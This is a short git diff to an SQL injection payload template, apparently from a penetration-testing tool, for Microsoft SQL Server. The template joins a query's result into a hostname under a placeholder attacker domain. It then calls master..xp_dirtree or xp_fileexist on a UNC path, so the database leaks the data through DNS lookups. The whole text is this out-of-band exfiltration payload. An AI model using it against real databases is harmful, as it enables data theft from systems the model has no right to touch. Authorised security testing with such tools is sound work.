diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt index 94948ea71..1189bf071 100644 --- a/procs/mssqlserver/dns_request.txt +++ b/procs/mssqlserver/dns_request.txt @@ -1,4 +1,4 @@ DECLARE @host varchar(1024); SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%.%DOMAIN%'; -EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"'); -# or EXEC('xp_dirtree "\\' + @host + '."'); +EXEC('master..xp_dirtree "\\' + @host + '\%PREFIX%%SUFFIX%"') +# or EXEC('master..xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"')